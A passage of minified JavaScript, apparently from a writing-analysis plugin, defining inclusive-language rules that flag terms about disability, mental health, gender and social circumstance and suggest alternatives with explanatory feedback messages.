about"],inclusiveAlternatives:"<i>to love, to be obsessed with, to be infatuated with</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:["Avoid using <i>to be crazy about</i> as it is potentially harmful.",n.alternative].join(" "),rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,a.isPrecededByException)(e,h.formsOfToBeWithOptionalIntensifier)),ruleDescription:"Targeted when preceded by a form of 'to be' or 'to get' and an optional intensifier."},{identifier:"crazy in love",nonInclusivePhrases:["crazy in love"],inclusiveAlternatives:"<i>wildly in love, head over heels, infatuated</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"to go crazy",nonInclusivePhrases:["crazy"],inclusiveAlternatives:"<i>to go wild, to go out of control, to go up the wall, to be aggravated, to get confused</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:["Avoid using <i>to go crazy</i> as it is potentially harmful.",n.alternative].join(" "),rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,a.isPrecededByException)(e,h.formsOfToGo)),ruleDescription:(0,p.isPreceded)(h.formsOfToGo)},{identifier:"to drive crazy",nonInclusivePhrases:["crazy"],inclusiveAlternatives:"<i>to drive one to their limit, to get on one's last nerve, to make one livid, to aggravate, to make one's blood boil, to exasperate, to get into one's head</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:["Avoid using <i>to drive crazy</i> as it is potentially harmful.",n.alternative].join(" "),rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,a.isPrecededByException)(e,h.combinationsOfDriveAndObjectPronoun)),ruleDescription:"Targeted when preceded by a form of 'to drive' and an object pronoun (e.g. 'driving me')"},{identifier:"crazy",nonInclusivePhrases:["crazy"],inclusiveAlternatives:"<i>wild, baffling, out of control, inexplicable, unbelievable, aggravating, shocking, intense, impulsive, chaotic, confused, mistaken, obsessed</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,a.isNotPrecededByException)(e,h.shouldNotPrecedeStandaloneCrazy)).filter((0,o.isNotFollowedByException)(e,t,h.shouldNotFollowStandaloneCrazy)).filter((0,l.isNotFollowedAndPrecededByException)(e,t,h.shouldNotPrecedeStandaloneCrazyWhenFollowedByAbout,h.shouldNotFollowStandaloneCrazyWhenPrecededByToBe)),ruleDescription:"Not targeted with this feedback when part of a more specific phrase that we target ('to drive crazy', to go crazy', 'to (not) be crazy about', 'crazy in love')."},{identifier:"crazier",nonInclusivePhrases:["crazier"],inclusiveAlternatives:"<i>more wild, baffling, out of control, inexplicable, unbelievable, aggravating, shocking, intense, impulsive, chaotic, confused, mistaken, obsessed</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"craziest",nonInclusivePhrases:["craziest"],inclusiveAlternatives:"<i>most wild, baffling, out of control, inexplicable, unbelievable, aggravating, shocking, intense, impulsive, chaotic, confused, mistaken, obsessed</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"psychopathic",nonInclusivePhrases:["psychopath","psychopaths","psychopathic"],inclusiveAlternatives:"<i>toxic, manipulative, unpredictable, impulsive, reckless, out of control</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"schizophrenic",nonInclusivePhrases:["schizophrenic","bipolar"],inclusiveAlternatives:"<i>of two minds, chaotic, confusing</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeUnlessMedicalCondition,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["disorder"])),ruleDescription:(0,p.notFollowed)(["disorder"])},{identifier:"paranoid",nonInclusivePhrases:["paranoid"],inclusiveAlternatives:"<i>overly suspicious, unreasonable, defensive</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeUnlessMedicalCondition,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["personality disorder","delusion","delusions","ideation"])),ruleDescription:(0,p.notFollowed)(["personality disorder","delusion","delusions","ideation"])},{identifier:"manic",nonInclusivePhrases:["manic"],inclusiveAlternatives:"<i>excited, raving, unbalanced, wild</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeUnlessMedicalCondition,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["episode","episodes","state","states","symptoms","and depressive episodes","and hypomanic","or hypomanic"])),ruleDescription:(0,p.notFollowed)(["episode","episodes","state","states","symptoms","and depressive episodes","and hypomanic","or hypomanic"])},{identifier:"hysterical",nonInclusivePhrases:["hysterical"],inclusiveAlternatives:"<i>intense, vehement, piercing, chaotic</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"psycho",nonInclusivePhrases:["psycho","psychos"],inclusiveAlternatives:"<i>toxic, distraught, unpredictable, reckless, out of control</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"neurotic",nonInclusivePhrases:["neurotic","lunatic"],inclusiveAlternatives:"<i>distraught, unstable, startling, confusing, baffling</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"sociopath",nonInclusivePhrases:["sociopath"],inclusiveAlternatives:["<i>person with antisocial personality disorder</i>","<i>toxic, manipulative, cruel</i>"],score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:"Be careful when using <i>%1$s</i> as it is potentially harmful. If you are referencing the medical condition, use %2$s instead, unless referring to someone who explicitly wants to be referred to with this term. If you are not referencing the medical condition, consider other alternatives to describe the trait or behavior, such as %3$s."},{identifier:"sociopaths",nonInclusivePhrases:["sociopaths"],inclusiveAlternatives:["<i>people with antisocial personality disorder</i>","<i>toxic, manipulative, cruel</i>"],score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:"Be careful when using <i>%1$s</i> as it is potentially harmful. If you are referencing the medical condition, use %2$s instead, unless referring to someone who explicitly wants to be referred to with this term. If you are not referencing the medical condition, consider other alternatives to describe the trait or behavior, such as %3$s."},{identifier:"narcissistic",nonInclusivePhrases:["narcissistic"],inclusiveAlternatives:["<i>person with narcissistic personality disorder</i>","<i>selfish, egotistical, self-centered, self-absorbed, vain, toxic, manipulative</i>"],score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:"Be careful when using <i>%1$s</i> as it is potentially harmful. If you are referencing the medical condition, use %2$s instead, unless referring to someone who explicitly wants to be referred to with this term. If you are not referencing the medical condition, consider other alternatives to describe the trait or behavior, such as %3$s.",rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,o.isNotFollowedByException)(e,t,["personality disorder"])),ruleDescription:(0,p.notFollowed)(["personality disorder"])},{identifier:"OCD",nonInclusivePhrases:["ocd"],inclusiveAlternatives:"<i>pedantic, obsessed, perfectionist</i>",score:c.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[(0,f.sprintf)(i.orangeUnlessMedicalCondition,"OCD","%2$s"),"If you are referring to someone who has the medical condition, then state that they have OCD rather than that they are OCD."].join(" "),rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,a.isPrecededByException)(e,h.formsOfToBeAndToBeNotWithOptionalIntensifier)),ruleDescription:"Targeted when preceded by a form of 'to be' or 'to get' (including their negated forms)and an optional intensifier"},{identifier:"theMentallyIll",nonInclusivePhrases:["the mentally ill"],inclusiveAlternatives:"<i>people who are mentally ill</i>, <i>mentally ill people</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,d.default)(e,t)),ruleDescription:p.nonInclusiveWhenStandalone},{identifier:"theDisabled",nonInclusivePhrases:["the disabled"],inclusiveAlternatives:"<i>people who have a disability</i>, <i>disabled people</i>",score:c.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,u.includesConsecutiveWords)(e,t).filter((0,d.default)(e,t)),ruleDescription:p.nonInclusiveWhenStandalone}];g.forEach((e=>{e.category="disability",e.learnMoreUrl="https://yoa.st/inclusive-language-disability"})),t.default=g},538:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.shouldNotPrecedeStandaloneCrazyWhenFollowedByAbout=t.shouldNotPrecedeStandaloneCrazy=t.shouldNotFollowStandaloneCrazyWhenPrecededByToBe=t.shouldNotFollowStandaloneCrazy=t.formsOfToGo=t.formsOfToBeWithOptionalIntensifier=t.formsOfToBeNotWithOptionalIntensifier=t.formsOfToBeAndToBeNotWithOptionalIntensifier=t.default=t.combinationsOfDriveAndObjectPronoun=void 0;var s=r(64998),n=r(92819);const i=["so","very","a bit","really","pretty","kind of","that","too","totally","completely","absolutely","even","also","as"],a=s.formsOfToBe.concat(s.formsOfToGet),o=function(e,t){return(0,n.flatMap)(e,(e=>(0,n.flatMap)(t,(t=>`${e} ${t}`))))},l=o(a,i),u=t.formsOfToBeWithOptionalIntensifier=l.concat(a);let c=(0,n.flatMap)(a,(e=>`${e} not`));c=c.concat(s.negatedFormsOfToBe);const d=o(c,i),h=t.formsOfToBeNotWithOptionalIntensifier=d.concat(c),f=t.formsOfToBeAndToBeNotWithOptionalIntensifier=u.concat(h),p=t.combinationsOfDriveAndObjectPronoun=o(["driving","drive","drove","drives","driven"],["me","you","them","him","her","someone","somebody","anyone","anybody","everyone","everybody"]),g=t.formsOfToGo=["go","goes","going","gone","went"],m=t.shouldNotPrecedeStandaloneCrazy=p.concat(g),_=t.shouldNotFollowStandaloneCrazy=["in love"],T=t.shouldNotPrecedeStandaloneCrazyWhenFollowedByAbout=u.concat(h),E=t.shouldNotFollowStandaloneCrazyWhenPrecededByToBe=["about"];t.default={formsOfToBeWithOptionalIntensifier:u,formsOfToBeNotWithOptionalIntensifier:h,formsOfToBeAndToBeNotWithOptionalIntensifier:f,combinationsOfDriveAndObjectPronoun:p,formsOfToGo:g,shouldNotPrecedeStandaloneCrazy:m,shouldNotFollowStandaloneCrazy:_,shouldNotPrecedeStandaloneCrazyWhenFollowedByAbout:T,shouldNotFollowStandaloneCrazyWhenPrecededByToBe:E}},35946:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.specificAgeGroup=void 0,t.specificAgeGroup="Or, if possible, be specific about the group you are referring to (e.g. %3$s)."},38362:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.orangeUnlessCultureUsesTerm=t.orangeUnlessCultureOfOrigin=void 0;var s=r(78261);t.orangeUnlessCultureOfOrigin=[s.beCarefulHarmful,"Consider using an alternative, such as %2$s instead, unless you are referring to the culture in which this term originated."].join(" "),t.orangeUnlessCultureUsesTerm=[s.beCarefulHarmful,"Consider using an alternative, such as %2$s instead, unless you are referring to a culture that uses this term."].join(" ")},69960:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.orangeUnlessMedicalCondition=void 0;var s=r(78261);t.orangeUnlessMedicalCondition=s.beCarefulHarmful+" Unless you are referencing the specific medical condition, consider using another alternative to describe the trait or behavior, such as %2$s."},85805:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.orangeExclusionaryUnlessUseTheTerm=t.orangeExclusionaryUnlessTwoGenders=t.orangeExclusionaryUnlessMenAndWomen=t.orangeExclusionaryUnlessMen=t.orangeExclusionaryUnless=void 0,t.orangeExclusionaryUnless="Be careful when using <i>%1$s</i> as it can be exclusionary. Unless you are sure that the group you refer to only consists of %1$s, use an alternative, such as %2$s.",t.orangeExclusionaryUnlessMen="Be careful when using <i>%1$s</i> as it can be exclusionary. Unless you are sure that the group you refer to only consists of men, use an alternative, such as %2$s.",t.orangeExclusionaryUnlessMenAndWomen="Be careful when using <i>%1$s</i> as it can be exclusionary. Unless you are sure that the group you refer to only consists of men and women, use an alternative, such as %2$s.",t.orangeExclusionaryUnlessTwoGenders="Be careful when using <i>%1$s</i> as it can be exclusionary. Unless you are sure that the group you refer to only consists of two genders, use an alternative, such as %2$s.",t.orangeExclusionaryUnlessUseTheTerm="Be careful when using <i>%1$s</i> as it can be exclusionary. Unless you are sure that the group you refer to only consists of people who use this term, use an alternative, such as %2$s."},78261:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.redPotentiallyExclusionary=t.redHarmful=t.redExclusionary=t.preferredDescriptorIfKnown=t.orangeUnlessSomeoneWants=t.orangeUnlessAnimalsObjects=t.orangeNoUnless=t.orangeExclusionaryNoUnless=t.beCarefulHarmful=t.avoidHarmful=t.avoidDerogatory=t.alternative=void 0,t.avoidDerogatory="Avoid using <i>%1$s</i> as it is derogatory.";const r=t.avoidHarmful="Avoid using <i>%1$s</i> as it is potentially harmful.",s=t.beCarefulHarmful="Be careful when using <i>%1$s</i> as it is potentially harmful.",n=t.alternative="Consider using an alternative, such as %2$s.";t.preferredDescriptorIfKnown="Alternatively, if talking about a specific person, use their preferred descriptor if known.",t.orangeNoUnless=[s,n].join(" "),t.orangeExclusionaryNoUnless=["Be careful when using <i>%1$s</i> as it is potentially exclusionary.",n].join(" "),t.orangeUnlessAnimalsObjects=[s,"Unless you are referring to objects or animals, consider using an alternative, such as %2$s."].join(" "),t.orangeUnlessSomeoneWants=[s,"Consider using an alternative, such as %2$s, unless referring to someone who explicitly wants to be referred to with this term."].join(" "),t.redHarmful=[r,n].join(" "),t.redExclusionary=["Avoid using <i>%1$s</i> as it is exclusionary.",n].join(" "),t.redPotentiallyExclusionary=["Avoid using <i>%1$s</i> as it is potentially exclusionary.",n].join(" ")},556:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(78261),i=r(85805),a=r(28045),o=r(88626),l=(s=r(77965))&&s.__esModule?s:{default:s},u=r(29700);const c=[{identifier:"firemen",nonInclusivePhrases:["firemen"],inclusiveAlternatives:"<i>firefighters</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeExclusionaryUnlessMen},{identifier:"policemen",nonInclusivePhrases:["policemen"],inclusiveAlternatives:"<i>police officers</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeExclusionaryUnlessMen},{identifier:"menAndWomen",nonInclusivePhrases:["men and women","women and men"],inclusiveAlternatives:"<i>people, people of all genders, individuals, human beings</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeExclusionaryUnless},{identifier:"boysAndGirls",nonInclusivePhrases:["boys and girls","girls and boys"],inclusiveAlternatives:"<i>kids, children</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeExclusionaryUnless},{identifier:"heOrShe",nonInclusivePhrases:["he/she","he or she","she or he","(s)he"],inclusiveAlternatives:"<i>they</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeExclusionaryNoUnless},{identifier:"birthSex",nonInclusivePhrases:["birth sex","natal sex"],inclusiveAlternatives:"<i>assigned sex, assigned sex at birth</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"mankind",nonInclusivePhrases:["mankind"],inclusiveAlternatives:"<i>individuals, people, persons, human beings, humanity</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redExclusionary},{identifier:"preferredPronouns",nonInclusivePhrases:["preferred pronouns"],inclusiveAlternatives:"<i>pronouns</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeNoUnless.slice(0,-1),", unless referring to someone who explicitly wants to use this term to describe their own pronouns."].join("")},{identifier:"oppositeGender",nonInclusivePhrases:["opposite gender"],inclusiveAlternatives:"<i>another gender</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redExclusionary},{identifier:"oppositeSex",nonInclusivePhrases:["opposite sex"],inclusiveAlternatives:"<i>another sex</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redExclusionary},{identifier:"femaleBodied",nonInclusivePhrases:["female-bodied"],inclusiveAlternatives:"<i>assigned female at birth</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redPotentiallyExclusionary.slice(0,-1)+" if you are discussing a person based on their sex or assigned gender at birth. If talking about human anatomy, use the specific anatomical phrase as opposed to <i>%1$s</i>."},{identifier:"maleBodied",nonInclusivePhrases:["male-bodied"],inclusiveAlternatives:"<i>assigned male at birth</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redPotentiallyExclusionary.slice(0,-1)+" if you are discussing a person based on their sex or assigned gender at birth. If talking about human anatomy, use the specific anatomical phrase as opposed to <i>%1$s</i>."},{identifier:"hermaphrodite",nonInclusivePhrases:["hermaphrodite"],inclusiveAlternatives:"<i>intersex</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"hermaphrodites",nonInclusivePhrases:["hermaphrodites"],inclusiveAlternatives:"<i>intersex people</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"bothGenders",nonInclusivePhrases:["both genders"],inclusiveAlternatives:"<i>people, folks, human beings, all genders</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeExclusionaryUnlessTwoGenders},{identifier:"ladiesAndGentleman",nonInclusivePhrases:["ladies and gentlemen"],inclusiveAlternatives:"<i>everyone, folks, honored guests</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeExclusionaryUnlessMenAndWomen},{identifier:"husbandAndWife",nonInclusivePhrases:["husband and wife","husbands and wives"],inclusiveAlternatives:"<i>spouses, partners</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeExclusionaryNoUnless.slice(0,-1)+", unless referring to someone who explicitly wants to be referred to with this term."},{identifier:"mothersAndFathers",nonInclusivePhrases:["mothers and fathers","fathers and mothers"],inclusiveAlternatives:"<i>parents</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:i.orangeExclusionaryUnlessUseTheTerm},{identifier:"manHours",nonInclusivePhrases:["man-hours"],inclusiveAlternatives:"<i>person-hours, business hours</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redExclusionary},{identifier:"preferredName",nonInclusivePhrases:["preferred name"],inclusiveAlternatives:"<i>name, affirming name</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeNoUnless.slice(0,-1),", unless referring to someone who explicitly wants to use this term to describe their own name."].join("")},{identifier:"transgenders",nonInclusivePhrases:["transgenders"],inclusiveAlternatives:"<i>trans people, transgender people</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:[n.avoidDerogatory,n.alternative].join(" ")},{identifier:"transsexual",nonInclusivePhrases:["transsexual"],inclusiveAlternatives:"<i>transgender</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"transsexuals",nonInclusivePhrases:["transsexuals"],inclusiveAlternatives:"<i>trans people, transgender people</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"transWoman",nonInclusivePhrases:["transwoman"],inclusiveAlternatives:"<i>trans woman, transgender woman</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"transWomen",nonInclusivePhrases:["transwomen"],inclusiveAlternatives:"<i>trans women, transgender women</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"transMan",nonInclusivePhrases:["transman"],inclusiveAlternatives:"<i>trans man, transgender man</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"transMen",nonInclusivePhrases:["transmen"],inclusiveAlternatives:"<i>trans men, transgender men</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"transgendered",nonInclusivePhrases:["transgendered"],inclusiveAlternatives:["<i>transgender, trans</i>","transitioned, went through a gender transition"],score:a.SCORES.NON_INCLUSIVE,feedbackFormat:[n.redHarmful.slice(0,-1),"if referring to a person. If referring to a transition process, consider using an alternative such as <i>%3$s</i>."].join(" ")},{identifier:"maleToFemale",nonInclusivePhrases:["male-to-female","mtf"],inclusiveAlternatives:"<i>trans woman, transgender woman</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"femaleToMale",nonInclusivePhrases:["female-to-male","ftm"],inclusiveAlternatives:"<i>trans man, transgender man</i>",score:a.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"heShe",nonInclusivePhrases:["he-she"],inclusiveAlternatives:"",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.avoidDerogatory},{identifier:"shemale",nonInclusivePhrases:["shemale","she-male"],inclusiveAlternatives:"",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.avoidDerogatory},{identifier:"manMade",nonInclusivePhrases:["man-made","manmade"],inclusiveAlternatives:"<i>artificial, synthetic, machine-made</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redExclusionary},{identifier:"toEachTheirOwn",nonInclusivePhrases:["to each his own"],inclusiveAlternatives:"<i>to each their own</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redExclusionary},{identifier:"manned",nonInclusivePhrases:["manned"],inclusiveAlternatives:"<i>crewed</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redExclusionary},{identifier:"aTransgender",nonInclusivePhrases:["a transgender","the transgender"],inclusiveAlternatives:"<i>transgender person</i>",score:a.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,o.includesConsecutiveWords)(e,t).filter((0,l.default)(e,t)),ruleDescription:u.nonInclusiveWhenStandalone}];c.forEach((e=>{e.category="gender",e.learnMoreUrl="https://yoa.st/inclusive-language-gender"})),t.default=c},90529:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=d(r(46176)),n=d(r(9214)),i=d(r(77018)),a=d(r(556)),o=d(r(20117)),l=d(r(27540)),u=d(r(12297)),c=d(r(32296));function d(e){return e&&e.__esModule?e:{default:e}}t.default=[...s.default,...n.default,...i.default,...a.default,...o.default,...l.default,...u.default,...c.default]},12297:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(28045),n=r(78261),i=r(88626),a=r(17864),o=r(29700);const l=[{identifier:"minorities",nonInclusivePhrases:["minorities"],inclusiveAlternatives:["<i>members of the LGBTQ+ community</i>","<i>Indigenous peoples</i>","<i>marginalized groups</i>","<i>religious minorities</i>"],score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.beCarefulHarmful,"Consider using an alternative by being specific about which group(s) of people you are referring to. For example: %2$s, %3$s, %4$s. In case an alternative is not available, make sure to specify the type of minorities you are referring to, e.g., %5$s."].join(" ")},{identifier:"normalPerson",nonInclusivePhrases:["normal person"],inclusiveAlternatives:["<i>typical person, average person</i> or describing the person's specific trait, experience, or behavior"],score:s.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,i.includesConsecutiveWords)(e,t).filter((0,a.isNotPrecededByException)(e,["mentally","behaviorally","behaviourally"])),ruleDescription:(0,o.notPreceded)(["mentally","behaviorally","behaviourally"])},{identifier:"normalPeople",nonInclusivePhrases:["normal people","Normal people"],inclusiveAlternatives:["<i>typical people, average people</i> or describing people's specific trait, experience, or behavior"],score:s.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,caseSensitive:!0,rule:(e,t)=>(0,i.includesConsecutiveWords)(e,t).filter((0,a.isNotPrecededByException)(e,["mentally","behaviorally","behaviourally"])),ruleDescription:(0,o.notPreceded)(["mentally","behaviorally","behaviourally"])},{identifier:"mentallyNormal",nonInclusivePhrases:["mentally normal"],inclusiveAlternatives:["<i>people without mental health conditions</i>, <i>mentally healthy people</i>"],score:s.SCORES.NON_INCLUSIVE,feedbackFormat:[n.avoidHarmful,"Consider using an alternative, such as %2$s. If possible, be more specific. For example: <i>people who don’t have anxiety disorders</i>, <i>people who haven't experienced trauma</i>, etc. Be careful when using mental health descriptors and try to avoid making assumptions about someone's mental health."].join(" ")},{identifier:"behaviorallyNormal",nonInclusivePhrases:["behaviorally normal","behaviourally normal"],inclusiveAlternatives:["<i>showing typical behavior</i> or describing the specific behavior"],score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessAnimalsObjects},{identifier:"abnormalPerson",nonInclusivePhrases:["abnormal person"],inclusiveAlternatives:["describing the person's specific trait, experience, or behavior"],score:s.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"abnormalPeople",nonInclusivePhrases:["abnormal people"],inclusiveAlternatives:["describing people's specific trait, experience, or behavior"],score:s.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"mentallyAbnormal",nonInclusivePhrases:["mentally abnormal"],inclusiveAlternatives:["<i>people with a mental health condition</i>, <i>people with mental health problems</i>"],score:s.SCORES.NON_INCLUSIVE,feedbackFormat:[n.avoidHarmful,"Consider using an alternative, such as %2$s. If possible, be more specific. For example: <i>people who have anxiety disorders, people who have experienced trauma</i>, etc. Be careful when using mental health descriptors and try to avoid making assumptions about someone's mental health."].join(" ")},{identifier:"behaviorallyAbnormal",nonInclusivePhrases:["behaviorally abnormal","behaviourally abnormal"],inclusiveAlternatives:["<i>showing atypical behavior, showing dysfunctional behavior</i> or describing the specific behavior"],score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessAnimalsObjects},{identifier:"abnormalBehavior",nonInclusivePhrases:["abnormal behavior","abnormal behaviour"],inclusiveAlternatives:["<i>atypical behavior, unusual behavior</i> or describing the specific behavior"],score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessAnimalsObjects}];l.forEach((e=>{e.category="other",e.learnMoreUrl="https://yoa.st/inclusive-language-other"})),t.default=l},28045:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SCORES=void 0,t.SCORES={NON_INCLUSIVE:3,POTENTIALLY_NON_INCLUSIVE:6}},27540:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s,n=r(78261),i=r(28045),a=r(88626),o=(s=r(77965))&&s.__esModule?s:{default:s},l=r(29700);const u=[{identifier:"illegalImmigrant",nonInclusivePhrases:["illegal immigrant","illegal alien"],inclusiveAlternatives:"<i>undocumented person, person without papers, immigrant without papers</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"illegalImmigrants",nonInclusivePhrases:["illegal immigrants","illegal aliens"],inclusiveAlternatives:"<i>undocumented people, people without papers, immigrants without papers</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"povertyStricken",nonInclusivePhrases:["poverty stricken"],inclusiveAlternatives:"<i>people whose income is below the poverty threshold, people with low-income</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"welfareReliant",nonInclusivePhrases:["welfare reliant"],inclusiveAlternatives:"<i>receiving welfare</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"prostitute",nonInclusivePhrases:["prostitute"],inclusiveAlternatives:"<i>sex worker</i>",score:i.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"prostitutes",nonInclusivePhrases:["prostitutes"],inclusiveAlternatives:"<i>sex workers</i>",score:i.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:n.orangeUnlessSomeoneWants},{identifier:"ex-con",nonInclusivePhrases:["ex-con"],inclusiveAlternatives:"<i>person who has had felony convictions, person who has been incarcerated</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"ex-cons",nonInclusivePhrases:["ex-cons"],inclusiveAlternatives:"<i>people who have had felony convictions, people who have been incarcerated</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"felon",nonInclusivePhrases:["felon"],inclusiveAlternatives:"<i>person with felony convictions, person who has been incarcerated</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"felons",nonInclusivePhrases:["felons"],inclusiveAlternatives:"<i>people with felony convictions, people who have been incarcerated</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"ex-offender",nonInclusivePhrases:["ex-offender"],inclusiveAlternatives:"<i>formerly incarcerated person</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"ex-offenders",nonInclusivePhrases:["ex-offenders"],inclusiveAlternatives:"<i>formerly incarcerated people</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful},{identifier:"theHomeless",nonInclusivePhrases:["the homeless"],inclusiveAlternatives:"<i>people experiencing 